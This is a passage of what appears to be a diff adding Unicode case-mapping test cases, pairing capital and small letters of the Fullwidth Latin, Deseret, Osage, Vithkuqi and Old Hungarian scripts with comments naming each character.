+test(0xFF2A, 0xFF4A); // FULLWIDTH LATIN CAPITAL LETTER J, FULLWIDTH LATIN SMALL LETTER J
+test(0xFF2B, 0xFF4B); // FULLWIDTH LATIN CAPITAL LETTER K, FULLWIDTH LATIN SMALL LETTER K
+test(0xFF2C, 0xFF4C); // FULLWIDTH LATIN CAPITAL LETTER L, FULLWIDTH LATIN SMALL LETTER L
+test(0xFF2D, 0xFF4D); // FULLWIDTH LATIN CAPITAL LETTER M, FULLWIDTH LATIN SMALL LETTER M
+test(0xFF2E, 0xFF4E); // FULLWIDTH LATIN CAPITAL LETTER N, FULLWIDTH LATIN SMALL LETTER N
+test(0xFF2F, 0xFF4F); // FULLWIDTH LATIN CAPITAL LETTER O, FULLWIDTH LATIN SMALL LETTER O
+test(0xFF30, 0xFF50); // FULLWIDTH LATIN CAPITAL LETTER P, FULLWIDTH LATIN SMALL LETTER P
+test(0xFF31, 0xFF51); // FULLWIDTH LATIN CAPITAL LETTER Q, FULLWIDTH LATIN SMALL LETTER Q
+test(0xFF32, 0xFF52); // FULLWIDTH LATIN CAPITAL LETTER R, FULLWIDTH LATIN SMALL LETTER R
+test(0xFF33, 0xFF53); // FULLWIDTH LATIN CAPITAL LETTER S, FULLWIDTH LATIN SMALL LETTER S
+test(0xFF34, 0xFF54); // FULLWIDTH LATIN CAPITAL LETTER T, FULLWIDTH LATIN SMALL LETTER T
+test(0xFF35, 0xFF55); // FULLWIDTH LATIN CAPITAL LETTER U, FULLWIDTH LATIN SMALL LETTER U
+test(0xFF36, 0xFF56); // FULLWIDTH LATIN CAPITAL LETTER V, FULLWIDTH LATIN SMALL LETTER V
+test(0xFF37, 0xFF57); // FULLWIDTH LATIN CAPITAL LETTER W, FULLWIDTH LATIN SMALL LETTER W
+test(0xFF38, 0xFF58); // FULLWIDTH LATIN CAPITAL LETTER X, FULLWIDTH LATIN SMALL LETTER X
+test(0xFF39, 0xFF59); // FULLWIDTH LATIN CAPITAL LETTER Y, FULLWIDTH LATIN SMALL LETTER Y
+test(0xFF3A, 0xFF5A); // FULLWIDTH LATIN CAPITAL LETTER Z, FULLWIDTH LATIN SMALL LETTER Z
+test(0xFF41, 0xFF21); // FULLWIDTH LATIN SMALL LETTER A, FULLWIDTH LATIN CAPITAL LETTER A
+test(0xFF42, 0xFF22); // FULLWIDTH LATIN SMALL LETTER B, FULLWIDTH LATIN CAPITAL LETTER B
+test(0xFF43, 0xFF23); // FULLWIDTH LATIN SMALL LETTER C, FULLWIDTH LATIN CAPITAL LETTER C
+test(0xFF44, 0xFF24); // FULLWIDTH LATIN SMALL LETTER D, FULLWIDTH LATIN CAPITAL LETTER D
+test(0xFF45, 0xFF25); // FULLWIDTH LATIN SMALL LETTER E, FULLWIDTH LATIN CAPITAL LETTER E
+test(0xFF46, 0xFF26); // FULLWIDTH LATIN SMALL LETTER F, FULLWIDTH LATIN CAPITAL LETTER F
+test(0xFF47, 0xFF27); // FULLWIDTH LATIN SMALL LETTER G, FULLWIDTH LATIN CAPITAL LETTER G
+test(0xFF48, 0xFF28); // FULLWIDTH LATIN SMALL LETTER H, FULLWIDTH LATIN CAPITAL LETTER H
+test(0xFF49, 0xFF29); // FULLWIDTH LATIN SMALL LETTER I, FULLWIDTH LATIN CAPITAL LETTER I
+test(0xFF4A, 0xFF2A); // FULLWIDTH LATIN SMALL LETTER J, FULLWIDTH LATIN CAPITAL LETTER J
+test(0xFF4B, 0xFF2B); // FULLWIDTH LATIN SMALL LETTER K, FULLWIDTH LATIN CAPITAL LETTER K
+test(0xFF4C, 0xFF2C); // FULLWIDTH LATIN SMALL LETTER L, FULLWIDTH LATIN CAPITAL LETTER L
+test(0xFF4D, 0xFF2D); // FULLWIDTH LATIN SMALL LETTER M, FULLWIDTH LATIN CAPITAL LETTER M
+test(0xFF4E, 0xFF2E); // FULLWIDTH LATIN SMALL LETTER N, FULLWIDTH LATIN CAPITAL LETTER N
+test(0xFF4F, 0xFF2F); // FULLWIDTH LATIN SMALL LETTER O, FULLWIDTH LATIN CAPITAL LETTER O
+test(0xFF50, 0xFF30); // FULLWIDTH LATIN SMALL LETTER P, FULLWIDTH LATIN CAPITAL LETTER P
+test(0xFF51, 0xFF31); // FULLWIDTH LATIN SMALL LETTER Q, FULLWIDTH LATIN CAPITAL LETTER Q
+test(0xFF52, 0xFF32); // FULLWIDTH LATIN SMALL LETTER R, FULLWIDTH LATIN CAPITAL LETTER R
+test(0xFF53, 0xFF33); // FULLWIDTH LATIN SMALL LETTER S, FULLWIDTH LATIN CAPITAL LETTER S
+test(0xFF54, 0xFF34); // FULLWIDTH LATIN SMALL LETTER T, FULLWIDTH LATIN CAPITAL LETTER T
+test(0xFF55, 0xFF35); // FULLWIDTH LATIN SMALL LETTER U, FULLWIDTH LATIN CAPITAL LETTER U
+test(0xFF56, 0xFF36); // FULLWIDTH LATIN SMALL LETTER V, FULLWIDTH LATIN CAPITAL LETTER V
+test(0xFF57, 0xFF37); // FULLWIDTH LATIN SMALL LETTER W, FULLWIDTH LATIN CAPITAL LETTER W
+test(0xFF58, 0xFF38); // FULLWIDTH LATIN SMALL LETTER X, FULLWIDTH LATIN CAPITAL LETTER X
+test(0xFF59, 0xFF39); // FULLWIDTH LATIN SMALL LETTER Y, FULLWIDTH LATIN CAPITAL LETTER Y
+test(0xFF5A, 0xFF3A); // FULLWIDTH LATIN SMALL LETTER Z, FULLWIDTH LATIN CAPITAL LETTER Z
+test(0x10400, 0x10428); // DESERET CAPITAL LETTER LONG I, DESERET SMALL LETTER LONG I
+test(0x10401, 0x10429); // DESERET CAPITAL LETTER LONG E, DESERET SMALL LETTER LONG E
+test(0x10402, 0x1042A); // DESERET CAPITAL LETTER LONG A, DESERET SMALL LETTER LONG A
+test(0x10403, 0x1042B); // DESERET CAPITAL LETTER LONG AH, DESERET SMALL LETTER LONG AH
+test(0x10404, 0x1042C); // DESERET CAPITAL LETTER LONG O, DESERET SMALL LETTER LONG O
+test(0x10405, 0x1042D); // DESERET CAPITAL LETTER LONG OO, DESERET SMALL LETTER LONG OO
+test(0x10406, 0x1042E); // DESERET CAPITAL LETTER SHORT I, DESERET SMALL LETTER SHORT I
+test(0x10407, 0x1042F); // DESERET CAPITAL LETTER SHORT E, DESERET SMALL LETTER SHORT E
+test(0x10408, 0x10430); // DESERET CAPITAL LETTER SHORT A, DESERET SMALL LETTER SHORT A
+test(0x10409, 0x10431); // DESERET CAPITAL LETTER SHORT AH, DESERET SMALL LETTER SHORT AH
+test(0x1040A, 0x10432); // DESERET CAPITAL LETTER SHORT O, DESERET SMALL LETTER SHORT O
+test(0x1040B, 0x10433); // DESERET CAPITAL LETTER SHORT OO, DESERET SMALL LETTER SHORT OO
+test(0x1040C, 0x10434); // DESERET CAPITAL LETTER AY, DESERET SMALL LETTER AY
+test(0x1040D, 0x10435); // DESERET CAPITAL LETTER OW, DESERET SMALL LETTER OW
+test(0x1040E, 0x10436); // DESERET CAPITAL LETTER WU, DESERET SMALL LETTER WU
+test(0x1040F, 0x10437); // DESERET CAPITAL LETTER YEE, DESERET SMALL LETTER YEE
+test(0x10410, 0x10438); // DESERET CAPITAL LETTER H, DESERET SMALL LETTER H
+test(0x10411, 0x10439); // DESERET CAPITAL LETTER PEE, DESERET SMALL LETTER PEE
+test(0x10412, 0x1043A); // DESERET CAPITAL LETTER BEE, DESERET SMALL LETTER BEE
+test(0x10413, 0x1043B); // DESERET CAPITAL LETTER TEE, DESERET SMALL LETTER TEE
+test(0x10414, 0x1043C); // DESERET CAPITAL LETTER DEE, DESERET SMALL LETTER DEE
+test(0x10415, 0x1043D); // DESERET CAPITAL LETTER CHEE, DESERET SMALL LETTER CHEE
+test(0x10416, 0x1043E); // DESERET CAPITAL LETTER JEE, DESERET SMALL LETTER JEE
+test(0x10417, 0x1043F); // DESERET CAPITAL LETTER KAY, DESERET SMALL LETTER KAY
+test(0x10418, 0x10440); // DESERET CAPITAL LETTER GAY, DESERET SMALL LETTER GAY
+test(0x10419, 0x10441); // DESERET CAPITAL LETTER EF, DESERET SMALL LETTER EF
+test(0x1041A, 0x10442); // DESERET CAPITAL LETTER VEE, DESERET SMALL LETTER VEE
+test(0x1041B, 0x10443); // DESERET CAPITAL LETTER ETH, DESERET SMALL LETTER ETH
+test(0x1041C, 0x10444); // DESERET CAPITAL LETTER THEE, DESERET SMALL LETTER THEE
+test(0x1041D, 0x10445); // DESERET CAPITAL LETTER ES, DESERET SMALL LETTER ES
+test(0x1041E, 0x10446); // DESERET CAPITAL LETTER ZEE, DESERET SMALL LETTER ZEE
+test(0x1041F, 0x10447); // DESERET CAPITAL LETTER ESH, DESERET SMALL LETTER ESH
+test(0x10420, 0x10448); // DESERET CAPITAL LETTER ZHEE, DESERET SMALL LETTER ZHEE
+test(0x10421, 0x10449); // DESERET CAPITAL LETTER ER, DESERET SMALL LETTER ER
+test(0x10422, 0x1044A); // DESERET CAPITAL LETTER EL, DESERET SMALL LETTER EL
+test(0x10423, 0x1044B); // DESERET CAPITAL LETTER EM, DESERET SMALL LETTER EM
+test(0x10424, 0x1044C); // DESERET CAPITAL LETTER EN, DESERET SMALL LETTER EN
+test(0x10425, 0x1044D); // DESERET CAPITAL LETTER ENG, DESERET SMALL LETTER ENG
+test(0x10426, 0x1044E); // DESERET CAPITAL LETTER OI, DESERET SMALL LETTER OI
+test(0x10427, 0x1044F); // DESERET CAPITAL LETTER EW, DESERET SMALL LETTER EW
+test(0x10428, 0x10400); // DESERET SMALL LETTER LONG I, DESERET CAPITAL LETTER LONG I
+test(0x10429, 0x10401); // DESERET SMALL LETTER LONG E, DESERET CAPITAL LETTER LONG E
+test(0x1042A, 0x10402); // DESERET SMALL LETTER LONG A, DESERET CAPITAL LETTER LONG A
+test(0x1042B, 0x10403); // DESERET SMALL LETTER LONG AH, DESERET CAPITAL LETTER LONG AH
+test(0x1042C, 0x10404); // DESERET SMALL LETTER LONG O, DESERET CAPITAL LETTER LONG O
+test(0x1042D, 0x10405); // DESERET SMALL LETTER LONG OO, DESERET CAPITAL LETTER LONG OO
+test(0x1042E, 0x10406); // DESERET SMALL LETTER SHORT I, DESERET CAPITAL LETTER SHORT I
+test(0x1042F, 0x10407); // DESERET SMALL LETTER SHORT E, DESERET CAPITAL LETTER SHORT E
+test(0x10430, 0x10408); // DESERET SMALL LETTER SHORT A, DESERET CAPITAL LETTER SHORT A
+test(0x10431, 0x10409); // DESERET SMALL LETTER SHORT AH, DESERET CAPITAL LETTER SHORT AH
+test(0x10432, 0x1040A); // DESERET SMALL LETTER SHORT O, DESERET CAPITAL LETTER SHORT O
+test(0x10433, 0x1040B); // DESERET SMALL LETTER SHORT OO, DESERET CAPITAL LETTER SHORT OO
+test(0x10434, 0x1040C); // DESERET SMALL LETTER AY, DESERET CAPITAL LETTER AY
+test(0x10435, 0x1040D); // DESERET SMALL LETTER OW, DESERET CAPITAL LETTER OW
+test(0x10436, 0x1040E); // DESERET SMALL LETTER WU, DESERET CAPITAL LETTER WU
+test(0x10437, 0x1040F); // DESERET SMALL LETTER YEE, DESERET CAPITAL LETTER YEE
+test(0x10438, 0x10410); // DESERET SMALL LETTER H, DESERET CAPITAL LETTER H
+test(0x10439, 0x10411); // DESERET SMALL LETTER PEE, DESERET CAPITAL LETTER PEE
+test(0x1043A, 0x10412); // DESERET SMALL LETTER BEE, DESERET CAPITAL LETTER BEE
+test(0x1043B, 0x10413); // DESERET SMALL LETTER TEE, DESERET CAPITAL LETTER TEE
+test(0x1043C, 0x10414); // DESERET SMALL LETTER DEE, DESERET CAPITAL LETTER DEE
+test(0x1043D, 0x10415); // DESERET SMALL LETTER CHEE, DESERET CAPITAL LETTER CHEE
+test(0x1043E, 0x10416); // DESERET SMALL LETTER JEE, DESERET CAPITAL LETTER JEE
+test(0x1043F, 0x10417); // DESERET SMALL LETTER KAY, DESERET CAPITAL LETTER KAY
+test(0x10440, 0x10418); // DESERET SMALL LETTER GAY, DESERET CAPITAL LETTER GAY
+test(0x10441, 0x10419); // DESERET SMALL LETTER EF, DESERET CAPITAL LETTER EF
+test(0x10442, 0x1041A); // DESERET SMALL LETTER VEE, DESERET CAPITAL LETTER VEE
+test(0x10443, 0x1041B); // DESERET SMALL LETTER ETH, DESERET CAPITAL LETTER ETH
+test(0x10444, 0x1041C); // DESERET SMALL LETTER THEE, DESERET CAPITAL LETTER THEE
+test(0x10445, 0x1041D); // DESERET SMALL LETTER ES, DESERET CAPITAL LETTER ES
+test(0x10446, 0x1041E); // DESERET SMALL LETTER ZEE, DESERET CAPITAL LETTER ZEE
+test(0x10447, 0x1041F); // DESERET SMALL LETTER ESH, DESERET CAPITAL LETTER ESH
+test(0x10448, 0x10420); // DESERET SMALL LETTER ZHEE, DESERET CAPITAL LETTER ZHEE
+test(0x10449, 0x10421); // DESERET SMALL LETTER ER, DESERET CAPITAL LETTER ER
+test(0x1044A, 0x10422); // DESERET SMALL LETTER EL, DESERET CAPITAL LETTER EL
+test(0x1044B, 0x10423); // DESERET SMALL LETTER EM, DESERET CAPITAL LETTER EM
+test(0x1044C, 0x10424); // DESERET SMALL LETTER EN, DESERET CAPITAL LETTER EN
+test(0x1044D, 0x10425); // DESERET SMALL LETTER ENG, DESERET CAPITAL LETTER ENG
+test(0x1044E, 0x10426); // DESERET SMALL LETTER OI, DESERET CAPITAL LETTER OI
+test(0x1044F, 0x10427); // DESERET SMALL LETTER EW, DESERET CAPITAL LETTER EW
+test(0x104B0, 0x104D8); // OSAGE CAPITAL LETTER A, OSAGE SMALL LETTER A
+test(0x104B1, 0x104D9); // OSAGE CAPITAL LETTER AI, OSAGE SMALL LETTER AI
+test(0x104B2, 0x104DA); // OSAGE CAPITAL LETTER AIN, OSAGE SMALL LETTER AIN
+test(0x104B3, 0x104DB); // OSAGE CAPITAL LETTER AH, OSAGE SMALL LETTER AH
+test(0x104B4, 0x104DC); // OSAGE CAPITAL LETTER BRA, OSAGE SMALL LETTER BRA
+test(0x104B5, 0x104DD); // OSAGE CAPITAL LETTER CHA, OSAGE SMALL LETTER CHA
+test(0x104B6, 0x104DE); // OSAGE CAPITAL LETTER EHCHA, OSAGE SMALL LETTER EHCHA
+test(0x104B7, 0x104DF); // OSAGE CAPITAL LETTER E, OSAGE SMALL LETTER E
+test(0x104B8, 0x104E0); // OSAGE CAPITAL LETTER EIN, OSAGE SMALL LETTER EIN
+test(0x104B9, 0x104E1); // OSAGE CAPITAL LETTER HA, OSAGE SMALL LETTER HA
+test(0x104BA, 0x104E2); // OSAGE CAPITAL LETTER HYA, OSAGE SMALL LETTER HYA
+test(0x104BB, 0x104E3); // OSAGE CAPITAL LETTER I, OSAGE SMALL LETTER I
+test(0x104BC, 0x104E4); // OSAGE CAPITAL LETTER KA, OSAGE SMALL LETTER KA
+test(0x104BD, 0x104E5); // OSAGE CAPITAL LETTER EHKA, OSAGE SMALL LETTER EHKA
+test(0x104BE, 0x104E6); // OSAGE CAPITAL LETTER KYA, OSAGE SMALL LETTER KYA
+test(0x104BF, 0x104E7); // OSAGE CAPITAL LETTER LA, OSAGE SMALL LETTER LA
+test(0x104C0, 0x104E8); // OSAGE CAPITAL LETTER MA, OSAGE SMALL LETTER MA
+test(0x104C1, 0x104E9); // OSAGE CAPITAL LETTER NA, OSAGE SMALL LETTER NA
+test(0x104C2, 0x104EA); // OSAGE CAPITAL LETTER O, OSAGE SMALL LETTER O
+test(0x104C3, 0x104EB); // OSAGE CAPITAL LETTER OIN, OSAGE SMALL LETTER OIN
+test(0x104C4, 0x104EC); // OSAGE CAPITAL LETTER PA, OSAGE SMALL LETTER PA
+test(0x104C5, 0x104ED); // OSAGE CAPITAL LETTER EHPA, OSAGE SMALL LETTER EHPA
+test(0x104C6, 0x104EE); // OSAGE CAPITAL LETTER SA, OSAGE SMALL LETTER SA
+test(0x104C7, 0x104EF); // OSAGE CAPITAL LETTER SHA, OSAGE SMALL LETTER SHA
+test(0x104C8, 0x104F0); // OSAGE CAPITAL LETTER TA, OSAGE SMALL LETTER TA
+test(0x104C9, 0x104F1); // OSAGE CAPITAL LETTER EHTA, OSAGE SMALL LETTER EHTA
+test(0x104CA, 0x104F2); // OSAGE CAPITAL LETTER TSA, OSAGE SMALL LETTER TSA
+test(0x104CB, 0x104F3); // OSAGE CAPITAL LETTER EHTSA, OSAGE SMALL LETTER EHTSA
+test(0x104CC, 0x104F4); // OSAGE CAPITAL LETTER TSHA, OSAGE SMALL LETTER TSHA
+test(0x104CD, 0x104F5); // OSAGE CAPITAL LETTER DHA, OSAGE SMALL LETTER DHA
+test(0x104CE, 0x104F6); // OSAGE CAPITAL LETTER U, OSAGE SMALL LETTER U
+test(0x104CF, 0x104F7); // OSAGE CAPITAL LETTER WA, OSAGE SMALL LETTER WA
+test(0x104D0, 0x104F8); // OSAGE CAPITAL LETTER KHA, OSAGE SMALL LETTER KHA
+test(0x104D1, 0x104F9); // OSAGE CAPITAL LETTER GHA, OSAGE SMALL LETTER GHA
+test(0x104D2, 0x104FA); // OSAGE CAPITAL LETTER ZA, OSAGE SMALL LETTER ZA
+test(0x104D3, 0x104FB); // OSAGE CAPITAL LETTER ZHA, OSAGE SMALL LETTER ZHA
+test(0x104D8, 0x104B0); // OSAGE SMALL LETTER A, OSAGE CAPITAL LETTER A
+test(0x104D9, 0x104B1); // OSAGE SMALL LETTER AI, OSAGE CAPITAL LETTER AI
+test(0x104DA, 0x104B2); // OSAGE SMALL LETTER AIN, OSAGE CAPITAL LETTER AIN
+test(0x104DB, 0x104B3); // OSAGE SMALL LETTER AH, OSAGE CAPITAL LETTER AH
+test(0x104DC, 0x104B4); // OSAGE SMALL LETTER BRA, OSAGE CAPITAL LETTER BRA
+test(0x104DD, 0x104B5); // OSAGE SMALL LETTER CHA, OSAGE CAPITAL LETTER CHA
+test(0x104DE, 0x104B6); // OSAGE SMALL LETTER EHCHA, OSAGE CAPITAL LETTER EHCHA
+test(0x104DF, 0x104B7); // OSAGE SMALL LETTER E, OSAGE CAPITAL LETTER E
+test(0x104E0, 0x104B8); // OSAGE SMALL LETTER EIN, OSAGE CAPITAL LETTER EIN
+test(0x104E1, 0x104B9); // OSAGE SMALL LETTER HA, OSAGE CAPITAL LETTER HA
+test(0x104E2, 0x104BA); // OSAGE SMALL LETTER HYA, OSAGE CAPITAL LETTER HYA
+test(0x104E3, 0x104BB); // OSAGE SMALL LETTER I, OSAGE CAPITAL LETTER I
+test(0x104E4, 0x104BC); // OSAGE SMALL LETTER KA, OSAGE CAPITAL LETTER KA
+test(0x104E5, 0x104BD); // OSAGE SMALL LETTER EHKA, OSAGE CAPITAL LETTER EHKA
+test(0x104E6, 0x104BE); // OSAGE SMALL LETTER KYA, OSAGE CAPITAL LETTER KYA
+test(0x104E7, 0x104BF); // OSAGE SMALL LETTER LA, OSAGE CAPITAL LETTER LA
+test(0x104E8, 0x104C0); // OSAGE SMALL LETTER MA, OSAGE CAPITAL LETTER MA
+test(0x104E9, 0x104C1); // OSAGE SMALL LETTER NA, OSAGE CAPITAL LETTER NA
+test(0x104EA, 0x104C2); // OSAGE SMALL LETTER O, OSAGE CAPITAL LETTER O
+test(0x104EB, 0x104C3); // OSAGE SMALL LETTER OIN, OSAGE CAPITAL LETTER OIN
+test(0x104EC, 0x104C4); // OSAGE SMALL LETTER PA, OSAGE CAPITAL LETTER PA
+test(0x104ED, 0x104C5); // OSAGE SMALL LETTER EHPA, OSAGE CAPITAL LETTER EHPA
+test(0x104EE, 0x104C6); // OSAGE SMALL LETTER SA, OSAGE CAPITAL LETTER SA
+test(0x104EF, 0x104C7); // OSAGE SMALL LETTER SHA, OSAGE CAPITAL LETTER SHA
+test(0x104F0, 0x104C8); // OSAGE SMALL LETTER TA, OSAGE CAPITAL LETTER TA
+test(0x104F1, 0x104C9); // OSAGE SMALL LETTER EHTA, OSAGE CAPITAL LETTER EHTA
+test(0x104F2, 0x104CA); // OSAGE SMALL LETTER TSA, OSAGE CAPITAL LETTER TSA
+test(0x104F3, 0x104CB); // OSAGE SMALL LETTER EHTSA, OSAGE CAPITAL LETTER EHTSA
+test(0x104F4, 0x104CC); // OSAGE SMALL LETTER TSHA, OSAGE CAPITAL LETTER TSHA
+test(0x104F5, 0x104CD); // OSAGE SMALL LETTER DHA, OSAGE CAPITAL LETTER DHA
+test(0x104F6, 0x104CE); // OSAGE SMALL LETTER U, OSAGE CAPITAL LETTER U
+test(0x104F7, 0x104CF); // OSAGE SMALL LETTER WA, OSAGE CAPITAL LETTER WA
+test(0x104F8, 0x104D0); // OSAGE SMALL LETTER KHA, OSAGE CAPITAL LETTER KHA
+test(0x104F9, 0x104D1); // OSAGE SMALL LETTER GHA, OSAGE CAPITAL LETTER GHA
+test(0x104FA, 0x104D2); // OSAGE SMALL LETTER ZA, OSAGE CAPITAL LETTER ZA
+test(0x104FB, 0x104D3); // OSAGE SMALL LETTER ZHA, OSAGE CAPITAL LETTER ZHA
+test(0x10570, 0x10597); // VITHKUQI CAPITAL LETTER A, VITHKUQI SMALL LETTER A
+test(0x10571, 0x10598); // VITHKUQI CAPITAL LETTER BBE, VITHKUQI SMALL LETTER BBE
+test(0x10572, 0x10599); // VITHKUQI CAPITAL LETTER BE, VITHKUQI SMALL LETTER BE
+test(0x10573, 0x1059A); // VITHKUQI CAPITAL LETTER CE, VITHKUQI SMALL LETTER CE
+test(0x10574, 0x1059B); // VITHKUQI CAPITAL LETTER CHE, VITHKUQI SMALL LETTER CHE
+test(0x10575, 0x1059C); // VITHKUQI CAPITAL LETTER DE, VITHKUQI SMALL LETTER DE
+test(0x10576, 0x1059D); // VITHKUQI CAPITAL LETTER DHE, VITHKUQI SMALL LETTER DHE
+test(0x10577, 0x1059E); // VITHKUQI CAPITAL LETTER EI, VITHKUQI SMALL LETTER EI
+test(0x10578, 0x1059F); // VITHKUQI CAPITAL LETTER E, VITHKUQI SMALL LETTER E
+test(0x10579, 0x105A0); // VITHKUQI CAPITAL LETTER FE, VITHKUQI SMALL LETTER FE
+test(0x1057A, 0x105A1); // VITHKUQI CAPITAL LETTER GA, VITHKUQI SMALL LETTER GA
+test(0x1057C, 0x105A3); // VITHKUQI CAPITAL LETTER HA, VITHKUQI SMALL LETTER HA
+test(0x1057D, 0x105A4); // VITHKUQI CAPITAL LETTER HHA, VITHKUQI SMALL LETTER HHA
+test(0x1057E, 0x105A5); // VITHKUQI CAPITAL LETTER I, VITHKUQI SMALL LETTER I
+test(0x1057F, 0x105A6); // VITHKUQI CAPITAL LETTER IJE, VITHKUQI SMALL LETTER IJE
+test(0x10580, 0x105A7); // VITHKUQI CAPITAL LETTER JE, VITHKUQI SMALL LETTER JE
+test(0x10581, 0x105A8); // VITHKUQI CAPITAL LETTER KA, VITHKUQI SMALL LETTER KA
+test(0x10582, 0x105A9); // VITHKUQI CAPITAL LETTER LA, VITHKUQI SMALL LETTER LA
+test(0x10583, 0x105AA); // VITHKUQI CAPITAL LETTER LLA, VITHKUQI SMALL LETTER LLA
+test(0x10584, 0x105AB); // VITHKUQI CAPITAL LETTER ME, VITHKUQI SMALL LETTER ME
+test(0x10585, 0x105AC); // VITHKUQI CAPITAL LETTER NE, VITHKUQI SMALL LETTER NE
+test(0x10586, 0x105AD); // VITHKUQI CAPITAL LETTER NJE, VITHKUQI SMALL LETTER NJE
+test(0x10587, 0x105AE); // VITHKUQI CAPITAL LETTER O, VITHKUQI SMALL LETTER O
+test(0x10588, 0x105AF); // VITHKUQI CAPITAL LETTER PE, VITHKUQI SMALL LETTER PE
+test(0x10589, 0x105B0); // VITHKUQI CAPITAL LETTER QA, VITHKUQI SMALL LETTER QA
+test(0x1058A, 0x105B1); // VITHKUQI CAPITAL LETTER RE, VITHKUQI SMALL LETTER RE
+test(0x1058C, 0x105B3); // VITHKUQI CAPITAL LETTER SE, VITHKUQI SMALL LETTER SE
+test(0x1058D, 0x105B4); // VITHKUQI CAPITAL LETTER SHE, VITHKUQI SMALL LETTER SHE
+test(0x1058E, 0x105B5); // VITHKUQI CAPITAL LETTER TE, VITHKUQI SMALL LETTER TE
+test(0x1058F, 0x105B6); // VITHKUQI CAPITAL LETTER THE, VITHKUQI SMALL LETTER THE
+test(0x10590, 0x105B7); // VITHKUQI CAPITAL LETTER U, VITHKUQI SMALL LETTER U
+test(0x10591, 0x105B8); // VITHKUQI CAPITAL LETTER VE, VITHKUQI SMALL LETTER VE
+test(0x10592, 0x105B9); // VITHKUQI CAPITAL LETTER XE, VITHKUQI SMALL LETTER XE
+test(0x10594, 0x105BB); // VITHKUQI CAPITAL LETTER Y, VITHKUQI SMALL LETTER Y
+test(0x10595, 0x105BC); // VITHKUQI CAPITAL LETTER ZE, VITHKUQI SMALL LETTER ZE
+test(0x10597, 0x10570); // VITHKUQI SMALL LETTER A, VITHKUQI CAPITAL LETTER A
+test(0x10598, 0x10571); // VITHKUQI SMALL LETTER BBE, VITHKUQI CAPITAL LETTER BBE
+test(0x10599, 0x10572); // VITHKUQI SMALL LETTER BE, VITHKUQI CAPITAL LETTER BE
+test(0x1059A, 0x10573); // VITHKUQI SMALL LETTER CE, VITHKUQI CAPITAL LETTER CE
+test(0x1059B, 0x10574); // VITHKUQI SMALL LETTER CHE, VITHKUQI CAPITAL LETTER CHE
+test(0x1059C, 0x10575); // VITHKUQI SMALL LETTER DE, VITHKUQI CAPITAL LETTER DE
+test(0x1059D, 0x10576); // VITHKUQI SMALL LETTER DHE, VITHKUQI CAPITAL LETTER DHE
+test(0x1059E, 0x10577); // VITHKUQI SMALL LETTER EI, VITHKUQI CAPITAL LETTER EI
+test(0x1059F, 0x10578); // VITHKUQI SMALL LETTER E, VITHKUQI CAPITAL LETTER E
+test(0x105A0, 0x10579); // VITHKUQI SMALL LETTER FE, VITHKUQI CAPITAL LETTER FE
+test(0x105A1, 0x1057A); // VITHKUQI SMALL LETTER GA, VITHKUQI CAPITAL LETTER GA
+test(0x105A3, 0x1057C); // VITHKUQI SMALL LETTER HA, VITHKUQI CAPITAL LETTER HA
+test(0x105A4, 0x1057D); // VITHKUQI SMALL LETTER HHA, VITHKUQI CAPITAL LETTER HHA
+test(0x105A5, 0x1057E); // VITHKUQI SMALL LETTER I, VITHKUQI CAPITAL LETTER I
+test(0x105A6, 0x1057F); // VITHKUQI SMALL LETTER IJE, VITHKUQI CAPITAL LETTER IJE
+test(0x105A7, 0x10580); // VITHKUQI SMALL LETTER JE, VITHKUQI CAPITAL LETTER JE
+test(0x105A8, 0x10581); // VITHKUQI SMALL LETTER KA, VITHKUQI CAPITAL LETTER KA
+test(0x105A9, 0x10582); // VITHKUQI SMALL LETTER LA, VITHKUQI CAPITAL LETTER LA
+test(0x105AA, 0x10583); // VITHKUQI SMALL LETTER LLA, VITHKUQI CAPITAL LETTER LLA
+test(0x105AB, 0x10584); // VITHKUQI SMALL LETTER ME, VITHKUQI CAPITAL LETTER ME
+test(0x105AC, 0x10585); // VITHKUQI SMALL LETTER NE, VITHKUQI CAPITAL LETTER NE
+test(0x105AD, 0x10586); // VITHKUQI SMALL LETTER NJE, VITHKUQI CAPITAL LETTER NJE
+test(0x105AE, 0x10587); // VITHKUQI SMALL LETTER O, VITHKUQI CAPITAL LETTER O
+test(0x105AF, 0x10588); // VITHKUQI SMALL LETTER PE, VITHKUQI CAPITAL LETTER PE
+test(0x105B0, 0x10589); // VITHKUQI SMALL LETTER QA, VITHKUQI CAPITAL LETTER QA
+test(0x105B1, 0x1058A); // VITHKUQI SMALL LETTER RE, VITHKUQI CAPITAL LETTER RE
+test(0x105B3, 0x1058C); // VITHKUQI SMALL LETTER SE, VITHKUQI CAPITAL LETTER SE
+test(0x105B4, 0x1058D); // VITHKUQI SMALL LETTER SHE, VITHKUQI CAPITAL LETTER SHE
+test(0x105B5, 0x1058E); // VITHKUQI SMALL LETTER TE, VITHKUQI CAPITAL LETTER TE
+test(0x105B6, 0x1058F); // VITHKUQI SMALL LETTER THE, VITHKUQI CAPITAL LETTER THE
+test(0x105B7, 0x10590); // VITHKUQI SMALL LETTER U, VITHKUQI CAPITAL LETTER U
+test(0x105B8, 0x10591); // VITHKUQI SMALL LETTER VE, VITHKUQI CAPITAL LETTER VE
+test(0x105B9, 0x10592); // VITHKUQI SMALL LETTER XE, VITHKUQI CAPITAL LETTER XE
+test(0x105BB, 0x10594); // VITHKUQI SMALL LETTER Y, VITHKUQI CAPITAL LETTER Y
+test(0x105BC, 0x10595); // VITHKUQI SMALL LETTER ZE, VITHKUQI CAPITAL LETTER ZE
+test(0x10C80, 0x10CC0); // OLD HUNGARIAN CAPITAL LETTER A, OLD HUNGARIAN SMALL LETTER A
+test(0x10C81, 0x10CC1); // OLD HUNGARIAN CAPITAL LETTER AA, OLD HUNGARIAN SMALL LETTER AA
+test(0x10C82, 0x10CC2); // OLD HUNGARIAN CAPITAL LETTER EB, OLD HUNGARIAN SMALL LETTER EB
+test(0x10C83, 0x10CC3); // OLD HUNGARIAN CAPITAL LETTER AMB, OLD HUNGARIAN SMALL LETTER AMB
+test(0x10C84, 0x10CC4); // OLD HUNGARIAN CAPITAL LETTER EC, OLD HUNGARIAN SMALL LETTER EC
+test(0x10C85, 0x10CC5); // OLD HUNGARIAN CAPITAL LETTER ENC, OLD HUNGARIAN SMALL LETTER ENC
+test(0x10C86, 0x10CC6); // OLD HUNGARIAN CAPITAL LETTER ECS, OLD HUNGARIAN SMALL LETTER ECS
+test(0x10C87, 0x10CC7); // OLD HUNGARIAN CAPITAL LETTER ED, OLD HUNGARIAN SMALL LETTER ED
+test(0x10C88, 0x10CC8); // OLD HUNGARIAN CAPITAL LETTER AND, OLD HUNGARIAN SMALL LETTER AND
